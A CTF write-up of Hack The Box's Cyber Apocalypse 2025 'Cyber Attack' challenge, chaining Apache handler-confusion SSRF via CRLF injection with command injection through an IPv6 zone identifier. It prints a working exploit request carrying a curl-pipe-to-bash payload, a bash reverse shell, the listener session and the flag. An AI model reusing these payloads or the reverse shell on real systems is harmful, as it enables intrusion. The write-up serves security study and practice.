Cyber Attack

Name: Loading...
Difficulty: Loading...
Category: Loading...
Release: Loading...
Solves: Loading...
First Blood: First Blood User Loading... - Loading...
Creator: Creator Loading...
Description: Loading...


Overview

An “easy” challenge from Hack The Box’s Cyber Apocalypse 2025. The container ran an outdated version of Apache, vulnerable to SSRF caused by handler confusion. Exploiting this, we were able to hit an internal-only endpoint, attack-ip, which had a blind command injection vulnerability. To bypass the IP validation on attack-ip, we leveraged IPv6 zone identifiers, which seem to not be properly validated in the Python library, ultimately leading to code execution.

Attack Dashboard

Running the web app, we are met with a dashboard where we can enter our name and the domain or ip of a target we would like to attack. Although, at first it seems we can't attack an IP, only domains.

Apache Configuration

Looking at the Apache config file, we see the attack-ip endpoint is restricted to internal use only. Meaning, we would first need to bypass this restriction in order to use it.

ServerName CyberAttack

AddType application/x-httpd-php .php

<Location "/cgi-bin/attack-ip">
    Order deny,allow
    Deny from all
    Allow from 127.0.0.1
    Allow from ::1
</Location>


Attack IP

A quick look at the code of the cgi script for attacking an IP reveals possible command injection. Atleast, that is the only thing I could figure. Although, I soon began doubting myself as I began trying to inject additional commands..

#!/usr/bin/env python3

import cgi
import os
from ipaddress import ip_address

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')

if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')
try:
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {ip_address(target)}')
    print(f'Location: ../?result=Succesfully attacked {target}!')
except:
    print(f'Location: ../?error=Hey {name}, watch it!')
   
print('Content-Type: text/html')
print()


Apache Handler Confusion

During the CTF, one of our team members found a super useful blog on Apache confusion attacks Here. We were able to use this research to solve the first part of the challenge, which was to successfully make a request to the attack-ip endpoint. Section three of the blog goes into detail on handler confusion, providing several useful examples, such as:

✔️ 3-2-2. Arbitrary Handler to Full SSRF
Calling the mod_proxy to access any protocol on any URL is, of course, straightforward:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://example.com/%3F %0d%0a
%0d%0a


We were able to use CRLF Injection with the attack-domain request to get SSRF and attack an IP from the localhost.

http://myapp.local:1337/cgi-bin/attack-domain?target=t&name=%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://myapp.local:1337/cgi-bin/attack-ip?target=127.0.0.1&name=test %0d%0a
%0d%0a


Successfully attacked 127.0.0.1


Command injection via Target Parameter

Next came the hardest part of the challenge. Figuring out how to exploit the potential command injection vulnerability. For a while, I doubted if this was even possible. I searched far and wide for bypasses in the ipaddress library, but only found CVEs about parsing issues concerning leading 0's in an ip address, and nothing else useful. Both GPT and Google failed me. I modified the CGI script and spent a significant amound of time testing locally to even see if it was even possible.

#!/usr/bin/env python3

import os
import sys
from ipaddress import ip_address

name = 'rosehacks'
target = '000::11;$(whoami)'

try:
    count = 1  # Increase this for an actual attack
    os.popen(f'ping -c {count} {ip_address(target)}')  # Same vulnerability check
    print(f'Successfully attacked {target}!')
except:
    print(f'Error: Hey {name}, watch it!')


rosehacks@pwny$ python3 test.py
Error: Hey rosehacks, watch it!

No good!

IPv6 Zone Identifiers FTW

I was at this for hours... and never got the solution, turns out I was missing a single % sign.. To be more specific, all my googling failed to lead me to a parsing confusion issue in the python ipaddress library. By using IPv6 zone identifiers, such as discussed Here, which aren't validated, we can bypass the validation and inject commands.

"After a quick read of the library’s source code, we can see that it does indeed take zone identifiers into account, and that it doesn’t check the contents."

@staticmethod
def _split_scope_id(ip_str):
    """Helper function to parse IPv6 string address with scope id.

    See RFC 4007 for details.

    Args:
        ip_str: A string, the IPv6 address.

    Returns:
        (addr, scope_id) tuple.

    """
    addr, sep, scope_id = ip_str.partition('%')
    if not sep:
        scope_id = None
    elif not scope_id or '%' in scope_id:
        raise AddressValueError('Invalid IPv6 address: "%r"' % ip_str)
    return addr, scope_id


With this in mind, I tested it locally before running it against the server:

#!/usr/bin/env python3

import os
import sys
from ipaddress import ip_address

name = 'rosehacks'
target = '000::11%$(whoami)'

try:
    count = 1  # Increase this for an actual attack
    os.popen(f'ping -c {count} {ip_address(target)}')  # Same vulnerability check
    print(f'Successfully attacked {target}!')
except:
    print(f'Error: Hey {name}, watch it!')
rosehacks@pwny$ python3 test.py
Successfully attacked 000::11%$(whoami)!
rosehacks@pwny$ ping: ::11%rosehacks: Name or service not known

It worked! Now, I needed to setup an attack server and get a reverse shell. I spun up an ec2 in AWS and hosted the following HTML file:

#!/bin/bash
/bin/bash -i >& /dev/tcp/0.0.0.0/1337 0>&1


The Exploit

The final request looked like this:

http://myapp.local:1337/cgi-bin/attack-domain?target=t&name=%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://myapp.local:1337/cgi-bin/attack-ip?target=::111%$(curl+0.0.0.0|bash)&name=test %0d%0a
%0d%0a 


I was able to get a reverse shell on the server and read the flag.

rosehacks@pwny$ sudo nc -lvnp 1337
Listening on 0.0.0.0 1337
Connection received on 94.237.54.21 54534
bash: cannot set terminal process group (13): Inappropriate ioctl for device
bash: no job control in this shell
<ackca2025-ng8mo-6455cb8c54-hb2hl:/usr/lib/cgi-bin$ cd /
cd /
www-data@ng-team-7941-webcyberattackca2025-ng8mo-6455cb8c54-hb2hl:/$ ls
ls
bin
boot
dev
etc
flag-etLBDh02onF8SO1.txt
www-data@ng-team-7941-webcyberattackca2025-ng8mo-6455cb8c54-hb2hl:/$ cat flag-etLBDh02onF8SO1.txt
HTB{h4ndl1n6_m4l4k4r5_f0rc35}